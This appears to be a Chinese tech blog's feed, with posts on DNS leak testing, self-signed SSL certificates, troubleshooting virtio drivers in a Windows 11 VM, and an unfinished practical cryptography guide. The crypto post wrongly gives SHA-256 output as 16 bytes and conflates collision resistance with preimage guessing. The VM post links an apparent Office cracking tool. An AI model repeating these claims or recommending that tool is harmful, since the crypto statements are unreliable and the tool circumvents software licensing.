        <published>2025-09-02T10:11:54+08:00</published>
        <updated>2025-09-02T10:11:54+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/09/dns泄漏检测/"/>
        <id>https://vercel.juzhong.asia/2025/09/dns泄漏检测/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/09/dns泄漏检测/">&lt;h1 id=&quot;dnsxie-lu&quot;&gt;DNS泄露&lt;&#x2F;h1&gt;
&lt;p&gt;DNS泄露测试是每个关注在线隐私和安全的人必不可少的工具。当您使用 VPN服务来隐藏您的互联网活动时，确保您的DNS请求也得到保护是至关重要的。DNS泄露可能会暴露这些请求，将您访问的网站透露给您的互联网服务提供商（ISP）或任何监控您连接的窃听者。进行DNS泄露测试是一个简单的过程。通过运行DNS泄露测试，您可以确保您的在线活动不会通过DNS查询泄露出去。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jian-ce-wang-zhan&quot;&gt;检测网站&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;https:&#x2F;&#x2F;www.browserscan.net&#x2F;zh&#x2F;dns-leak&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;nordvpn.com&#x2F;zh-tw&#x2F;dns-leak-test&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;dnsleaktest.com&#x2F;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;chrome-de-dns-ji-zhi&quot;&gt;Chrome 的 DNS 机制&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;Chrome 在 &quot;系统代理&quot; 或者 &quot;手动代理&quot; 模式下，不会自己先去查 DNS，而是直接把域名字符串交给代理（SOCKS5 支持 domain 模式）。&lt;&#x2F;li&gt;
&lt;li&gt;所以域名解析是在代理端完成的，而不是在本地操作系统。&lt;&#x2F;li&gt;
&lt;li&gt;在 Linux 上，如果 Chrome 检测到使用 SOCKS5 代理，会把域名直接交给代理（默认 SOCKS5 remote DNS）。&lt;&#x2F;li&gt;
&lt;li&gt;在使用 HTTP 代理 时，也会把完整的 Host 字段交给代理，代理负责解析目标 IP。&lt;&#x2F;li&gt;
&lt;li&gt;只有在 直连 或 代理不支持域名转发 时，Chrome 才会调用 glibc 的 getaddrinfo()，触发系统 DNS 配置（&#x2F;etc&#x2F;resolv.conf, systemd-resolved 等）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>在Linux上生成自签名SSL证书的方法_文心快码</title>
        <published>2025-08-27T00:00:00+00:00</published>
        <updated>2025-08-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/在linux上生成自签名ssl证书的方法_文心快码/"/>
        <id>https://vercel.juzhong.asia/obsidian/在linux上生成自签名ssl证书的方法_文心快码/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/在linux上生成自签名ssl证书的方法_文心快码/">&lt;h1 id=&quot;zai-linuxshang-sheng-cheng-zi-qian-ming-sslzheng-shu-de-fang-fa-wen-xin-kuai-ma&quot;&gt;在Linux上生成自签名SSL证书的方法_文心快码&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;comate.baidu.com&#x2F;zh&#x2F;page&#x2F;5D9vk3ewpL&quot;&gt;https:&#x2F;&#x2F;comate.baidu.com&#x2F;zh&#x2F;page&#x2F;5D9vk3ewpL&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;在Linux上生成自签名SSL证书，可以通过OpenSSL或mkcert工具来实现。本文将介绍这两种方法，并说明如何生成一个有效期为无限期的自签名SSL证书（尽管出于安全考虑，通常不建议这样做）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-opensslsheng-cheng-zi-qian-ming-sslzheng-shu&quot;&gt;使用OpenSSL生成自签名SSL证书&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;sheng-cheng-si-yao&quot;&gt;生成私钥&lt;&#x2F;h3&gt;
&lt;p&gt;这条命令会生成一个2048位的RSA私钥文件&lt;code&gt;server.key&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sheng-cheng-zheng-shu-qian-ming-qing-qiu-csr&quot;&gt;生成证书签名请求（CSR）&lt;&#x2F;h3&gt;
&lt;p&gt;执行时，系统会提示输入证书信息，如国家、省份、城市等。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-qian-ming-sheng-cheng-zheng-shu&quot;&gt;自签名生成证书&lt;&#x2F;h3&gt;
&lt;p&gt;要生成有效期为“无限期”的证书，可以将&lt;code&gt;-days&lt;&#x2F;code&gt;参数设置为一个非常大的值，如36500天。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-mkcertsheng-cheng-zi-qian-ming-sslzheng-shu&quot;&gt;使用mkcert生成自签名SSL证书&lt;&#x2F;h2&gt;
&lt;p&gt;mkcert是一个简化的工具，适用于本地开发。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xia-zai-an-zhuang-mkcert&quot;&gt;下载安装mkcert&lt;&#x2F;h3&gt;
&lt;p&gt;根据操作系统，从mkcert的GitHub页面下载并安装。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sheng-cheng-zheng-shu&quot;&gt;生成证书&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;-install&lt;&#x2F;code&gt;选项会将mkcert的根证书安装到系统信任存储中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-apachefu-wu-qi-shi-yong-zi-qian-ming-zheng-shu&quot;&gt;配置Apache服务器使用自签名证书&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fu-zhi-zheng-shu-he-si-yao-dao-apachepei-zhi-mu-lu&quot;&gt;复制证书和私钥到Apache配置目录&lt;&#x2F;h3&gt;
&lt;p&gt;例如，放在&lt;code&gt;&#x2F;etc&#x2F;apache2&#x2F;ssl&#x2F;&lt;&#x2F;code&gt;目录下。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bian-ji-apachepei-zhi-wen-jian&quot;&gt;编辑Apache配置文件&lt;&#x2F;h3&gt;
&lt;p&gt;在相关的站点配置文件中添加或修改以下配置：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhong-qi-apachefu-wu-qi&quot;&gt;重启Apache服务器&lt;&#x2F;h3&gt;
&lt;h2 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;证书有效期&lt;&#x2F;strong&gt;：虽然可以设置很长的有效期，但出于安全考虑，建议定期更新证书。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;证书信任&lt;&#x2F;strong&gt;：自签名证书不会被浏览器自动信任，用户可能会收到安全警告。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;系统兼容性&lt;&#x2F;strong&gt;：某些系统或软件对证书有效期有限制，过长可能会导致兼容性问题。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过以上方法，你可以在Linux上生成自签名SSL证书，并将其配置到Apache服务器上。但请记住，自签名证书主要用于开发和测试环境，不建议在生产环境中使用。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>win11 虚拟机安装</title>
        <published>2025-08-26T15:31:20+08:00</published>
        <updated>2026-08-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/win11 虚拟机安装/"/>
        <id>https://vercel.juzhong.asia/2025/08/win11 虚拟机安装/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/win11 虚拟机安装/">&lt;h1 id=&quot;xu-ni-ji-an-zhuang&quot;&gt;虚拟机安装&lt;&#x2F;h1&gt;
&lt;p&gt;安装一个win11专业版本&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhang-hu-pei-zhi&quot;&gt;账户配置&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;登录foo@outlook.com账户， 可选修改在线账户密码&lt;&#x2F;li&gt;
&lt;li&gt;在设置中开启rdp(需要win11 专业版)&lt;&#x2F;li&gt;
&lt;li&gt;创建本地账户 , 并配置为administrator权限&lt;&#x2F;li&gt;
&lt;li&gt;xfreerdp &#x2F;v:192.168.122.79:3389 &#x2F;u:peter.l +clipboard &#x2F;dynamic-resolution 就可以正常远程登录了&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;pei-zhi-office&quot;&gt;配置office&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;OdysseusYuan&amp;#x2F;Mocreak
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;virtio-qu-dong-gai-zao-pai-cha-2026-08&quot;&gt;virtio 驱动改造排查（2026-08）&lt;&#x2F;h1&gt;
&lt;p&gt;背景：虚拟机感觉慢，检查配置发现磁盘是 SATA 模拟、网卡是 e1000e 模拟，都没有用 virtio 半虚拟化。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;设备&lt;&#x2F;th&gt;&lt;th&gt;原配置&lt;&#x2F;th&gt;&lt;th&gt;应改为&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;磁盘&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;bus=&#x27;sata&#x27;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;virtio-blk&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网卡&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;e1000e&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;virtio-net&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内存&lt;&#x2F;td&gt;&lt;td&gt;currentMemory 仅 5G（上限 10G）&lt;&#x2F;td&gt;&lt;td&gt;直接给满 10G&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CPU&lt;&#x2F;td&gt;&lt;td&gt;sockets=6 × 1 core&lt;&#x2F;td&gt;&lt;td&gt;sockets=1 × 6 cores&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;1-xia-zai-virtio-win-qu-dong-iso&quot;&gt;1. 下载 virtio-win 驱动 ISO&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# fedorapeople 稳定版地址会 301 到 archive-virtio 的固定版本
curl -L -o &amp;#x2F;var&amp;#x2F;sharing&amp;#x2F;iso&amp;#x2F;virtio-win-0.1.285.iso \
  &amp;quot;https:&amp;#x2F;&amp;#x2F;fedorapeople.org&amp;#x2F;groups&amp;#x2F;virt&amp;#x2F;virtio-win&amp;#x2F;direct-downloads&amp;#x2F;stable-virtio&amp;#x2F;virtio-win.iso&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-gua-zai-guang-qu-de-keng-lsi-scsi-kong-zhi-qi&quot;&gt;2. 挂载光驱的坑：LSI SCSI 控制器&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;virsh attach-disk&lt;&#x2F;code&gt; 不加参数时，新光驱默认挂到 &lt;strong&gt;LSI SCSI 控制器&lt;&#x2F;strong&gt;（&lt;code&gt;scsi-cd&lt;&#x2F;code&gt; on &lt;code&gt;scsi0.0&lt;&#x2F;code&gt;），而 &lt;strong&gt;Windows 11 没有 LSI 控制器驱动&lt;&#x2F;strong&gt;（Win10 才有内置 symmpi），结果光驱在 Windows 里完全不可见。&lt;&#x2F;p&gt;
&lt;p&gt;正确做法：显式指定 SATA 总线（与系统盘同一个控制器）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh attach-disk window11 virtio-win.iso sdc --type cdrom --mode readonly \
  --targetbus sata --config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 SATA 不支持热插拔，&lt;code&gt;--config&lt;&#x2F;code&gt; 后需要重启虚拟机才生效（关机再启动，ACPI reboot 信号可能不生效）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-an-zhuang-qu-dong-de-keng-guest-tools-exe-bao-0x80070643&quot;&gt;3. 安装驱动的坑：guest-tools.exe 报 0x80070643&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;直接从光驱运行 &lt;code&gt;virtio-win-guest-tools.exe&lt;&#x2F;code&gt; → 报错 &lt;code&gt;Setup Wizard ended prematurely&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;复制到 C 盘运行 → 报错 &lt;code&gt;0x80070643 安装时发生严重错误&lt;&#x2F;code&gt;（MSI 包安装器自身问题）&lt;&#x2F;li&gt;
&lt;li&gt;绕过方案：右键 INF 安装 &lt;code&gt;viostor&#x2F;w11&#x2F;amd64&#x2F;viostor.inf&lt;&#x2F;code&gt;、&lt;code&gt;NetKVM&#x2F;w11&#x2F;amd64&#x2F;netkvm.inf&lt;&#x2F;code&gt;，再用 pnputil 确认入库（oem23.inf&#x2F;oem20.inf）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;4-qie-huan-virtio-hou-lan-ping-0x7b-viostor-fu-wu-wei-zhu-ce&quot;&gt;4. 切换 virtio 后蓝屏 0x7b：viostor 服务未注册&lt;&#x2F;h2&gt;
&lt;p&gt;切到 virtio-blk 后启动蓝屏 &lt;code&gt;INACCESSIBLE BOOT DEVICE (0x7b)&lt;&#x2F;code&gt;，自动修复失败、甚至落到光驱启动安装器。&lt;&#x2F;p&gt;
&lt;p&gt;根因：&lt;strong&gt;驱动包入库 ≠ 服务注册&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;pnputil &amp;#x2F;add-driver → 只把驱动包暂存到驱动库（oem23.inf）
viostor 服务（SCM 注册）只有匹配的设备出现时才会创建
→ 当前还是 SATA 引导，没有 virtio 设备，viostor 服务一直不存在（sc qc viostor → 1060）
→ winload 引导时找不到磁盘启动驱动 → 0x7b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;dism &#x2F;online &#x2F;add-driver&lt;&#x2F;code&gt; 是正确工具，但本机报错 50（&quot;此命令只能与脱机映像一起使用&quot;，DISM 在线服务组件不可用）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-zheng-que-de-shou-dong-zhu-ce-fang-an-wei-cai-yong-yi-hui-tui&quot;&gt;5. 正确的手动注册方案（未采用，已回退）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;copy E:\viostor\w11\amd64\viostor.sys C:\Windows\System32\drivers\
sc create viostor type= kernel start= boot error= normal binPath= System32\drivers\viostor.sys
# 网卡同理
copy E:\NetKVM\w11\amd64\netkvm.sys C:\Windows\System32\drivers\
sc create netkvm type= kernel start= boot error= normal binPath= System32\drivers\netkvm.sys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;code&gt;sc qc viostor&lt;&#x2F;code&gt; 的 START_TYPE 应为 &lt;code&gt;0x0 (BOOT_START)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;已回退到 SATA + e1000e 原始配置（保证可用）&lt;&#x2F;li&gt;
&lt;li&gt;保留优化：内存 10G、CPU 1 socket×6 cores&lt;&#x2F;li&gt;
&lt;li&gt;教训：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;attach-disk&lt;&#x2F;code&gt; 挂光驱要显式 &lt;code&gt;--targetbus sata&lt;&#x2F;code&gt;，否则挂到 Win11 无驱动的 LSI 控制器上&lt;&#x2F;li&gt;
&lt;li&gt;virtio 磁盘驱动必须注册为 &lt;strong&gt;BOOT_START&lt;&#x2F;strong&gt; 服务才能引导，驱动包入库不等于可引导&lt;&#x2F;li&gt;
&lt;li&gt;多次强制关机&#x2F;失败引导会触发 Windows 自动修复流程，干扰判断，排查时先摘掉可引导的光驱&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>实用现代密码学（WIP）</title>
        <published>2025-08-19T00:00:00+00:00</published>
        <updated>2025-08-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/实用现代密码学-wip/"/>
        <id>https://vercel.juzhong.asia/obsidian/实用现代密码学-wip/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/实用现代密码学-wip/">&lt;h1 id=&quot;shi-yong-xian-dai-mi-ma-xue-wip&quot;&gt;实用现代密码学（WIP）&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;yufanonsoftware.me&#x2F;tags#Dev&quot;&gt;Dev&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;yufanonsoftware.me&#x2F;tags#Cyber%20Security&quot;&gt;Cyber Security&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;yufanonsoftware.me&#x2F;tags.html#%E5%9F%B9%E8%AE%AD&quot;&gt;培训&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nakov&#x2F;Practical-Cryptography-for-Developers-Book&quot;&gt;Practical Cryptography for Developers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;thiscute.world&#x2F;posts&#x2F;practical-cryptography-basics-6-symmetric-key-ciphers&#x2F;&quot;&gt;写给开发人员的实用密码学（一）—— 概览&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;wycheproof&quot;&gt;Project Wycheproof&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;atoponce&#x2F;07d8d4c833873be2f68c34f9afc5a78a&quot;&gt;Cryptographic Best Practices&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pthree.org&#x2F;2016&#x2F;06&#x2F;19&#x2F;the-physics-of-brute-force&#x2F;&quot;&gt;The Physics of Brute Force&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;Password_Storage_Cheat_Sheet.html&quot;&gt;Password Storage Cheat Sheet&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.usenix.org&#x2F;publications&#x2F;loginonline&#x2F;bcrypt-25-retrospective-password-security&quot;&gt;Bcrypt at 25: A Retrospective on Password Security&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.google.com&#x2F;faqs&#x2F;answer&#x2F;9450925?hl=zh-Hans&quot;&gt;针对不安全加密问题的解决方法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.google.com&#x2F;tink?hl=zh-cn&quot;&gt;Tink Cryptographic Library&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;tink&#x2F;blob&#x2F;master&#x2F;docs&#x2F;JAVA-HOWTO.md&quot;&gt;Tink for Java HOW-TO&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;corretto&#x2F;amazon-corretto-crypto-provider&quot;&gt;Amazon Corretto Crypto Provider&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jolynch.github.io&#x2F;posts&#x2F;use_fast_data_algorithms&#x2F;&quot;&gt;Use Fast Data Algorithms&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;开发人员应该对密码学有基本的了解，搞懂如何在编程语言中使用现代密码库，并从中挑选合适的算法，使用合适的 API 参数。盲目地从 Internet 复制&#x2F;粘贴代码或遵循博客中的示例可能会导致安全问题 —— 曾经安全的代码、算法或者最佳实践，随着时间的推移也可能变得不再适用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;本文的目的是从实用角度出发，介绍一些现代密码学概念，给出就 2023 年而言的软件开发实践建议（以及不建议），帮助开发者在不必深入学习现代密码学的情况下写出安全的代码。由于当中涉及的知识过多，想要全部学习完并给出合适的实践建议实在是过于复杂，而当这一宏大工程完成后也许黄花菜都凉了，因此本文将在给出大纲的情况下缓慢更新（也许大纲也会调整），例如目前公钥密码系统相关的部分就相对而言更为含糊。&lt;&#x2F;p&gt;
&lt;p&gt;本文的大部分内容可以总结为如下路线图。读者应当牢记的是，如果本文在提到某个应用场景时使用了「XX 方案」这样的字眼（或者路线图中使用了 6 个以上字母），就代表开发者应当寻求 NaCl &#x2F; Google Tink 这样的封装库，而不是自己用 BouncyCastle &#x2F; OpenSSL 实现。&lt;&#x2F;p&gt;
&lt;p&gt;阐述原理涉及到过多的数学知识，很遗憾，笔者大学的时候这门课报名人数不足就没开班，因此这部分内容不会出现在本文中，有兴趣的读者可以自己深入研究。&lt;&#x2F;p&gt;
&lt;p&gt;随着时间的推移本文中的部分信息也可能发生变化。此外受限于笔者的知识水平，本文也可能出现一些错误，望读者斧正。&lt;&#x2F;p&gt;
&lt;p&gt;读者还应当清楚地意识到，维持系统安全性是一个整体的工程，有时候它不光是技术层面的问题，正如这个修改过的 XKCD 漫画所言：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;applied-modern-crypto&#x2F;xkcd-security-comic.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiao-xi-bian-ma&quot;&gt;消息编码&lt;&#x2F;h2&gt;
&lt;p&gt;信息查询接口通过 URL 查询参数传输关键字，可以使用 URIEncode 或 Base64 进行编码，避免关键字中的一些字符无法被识别或错误转义。&lt;&#x2F;p&gt;
&lt;p&gt;但是记住&lt;strong&gt;消息编码不能帮你隐藏任何秘密，它只是保证了传输的信息不会因信息载体的描述能力有所损失。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;标准的 Base64 编码结果不适合通过 URL 传输，因为 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 和 &lt;code&gt;+&lt;&#x2F;code&gt; 都会被 &lt;code&gt;URIEncode&lt;&#x2F;code&gt;。因此出现了适用于 URL 的 Base64 变种，使用 &lt;code&gt;-&lt;&#x2F;code&gt; 和 &lt;code&gt;_&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; 使用 java.util.Base64
String encoded = Base64.getEncoder().encodeToString(source.getBytes(StandardCharsets.UTF_8));
String decoded = new String(Base64.getDecoder().decode(encoded));
&amp;#x2F;&amp;#x2F; URL 适配的 Base64 编解码
String encoded = Base64.getUrlEncoder().encodeToString(source.getBytes(StandardCharsets.UTF_8));
String decoded = new String(Base64.getUrlDecoder().decode(encoded));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另一种方式是使用十六进制，例如 &lt;code&gt;com.google.guava:guava&lt;&#x2F;code&gt; 中的 &lt;code&gt;com.google.common.io.BaseEncoding&lt;&#x2F;code&gt;，不过一般的应用场景是以字符串模式处理字节数组。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;BaseEncoding.base16().lowerCase().encode(hashed);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jia-mi-san-lie-han-shu-jia-mi-ha-xi-han-shu&quot;&gt;加密散列函数 &#x2F; 加密哈希函数&lt;&#x2F;h2&gt;
&lt;p&gt;散列函数可以把一段数据映射成一个固定长度的字符串，理想的散列函数应当满足：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;快速&lt;&#x2F;li&gt;
&lt;li&gt;确定性：同样的输入总是产生同样的输出&lt;&#x2F;li&gt;
&lt;li&gt;雪崩效应：$x$ 的一小点变化将使 $H(x)$ 发生巨大变化&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;加密散列函数则额外具有如下特性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;抗碰撞：通过统计学方法（彩虹表）很难或几乎不可能猜出哈希值对应的原始数据&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;强无碰撞性：给定散列函数 $H$，无法找到 $x, y$ 满足 $H(x)=H(y), x \neq y$&lt;&#x2F;li&gt;
&lt;li&gt;弱无碰撞性：给定散列函数 $H$ 以及 $x$，无法找到另一个 $y$ 满足 $H(x)=H(y)$&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;不可逆：给定 $H(x)$，无法推测出 $x$&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;sha-2-sha-224-sha-256-sha-384-sha-512&quot;&gt;SHA-2（SHA-224 &#x2F; SHA-256 &#x2F; SHA-384 &#x2F; SHA-512）&lt;&#x2F;h2&gt;
&lt;p&gt;SHA-2 是久经考验的行业标准，被广泛用于 HTTPS 协议、文件完整性校验、比特币区块链等各种场景，一般来说使用 SHA-256 就有不错的表现。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);
byte[] hashed = digest.digest(source.getBytes(StandardCharsets.UTF_8));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;SHA-256 计算出的散列值长度为 256-bits，转换为字节数组的话有 16 位。只是用于存储的话，你不需要把它转换成别的格式，有「人类可读」需求的话可以转换为十六进制字符串。&lt;&#x2F;p&gt;
&lt;p&gt;一些系统使用了 &lt;code&gt;hash(secret + message)&lt;&#x2F;code&gt; 计算签名的方法实现消息认证（有关消息认证的知识后面还会再提到），这种方案容易受到长度扩展攻击。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
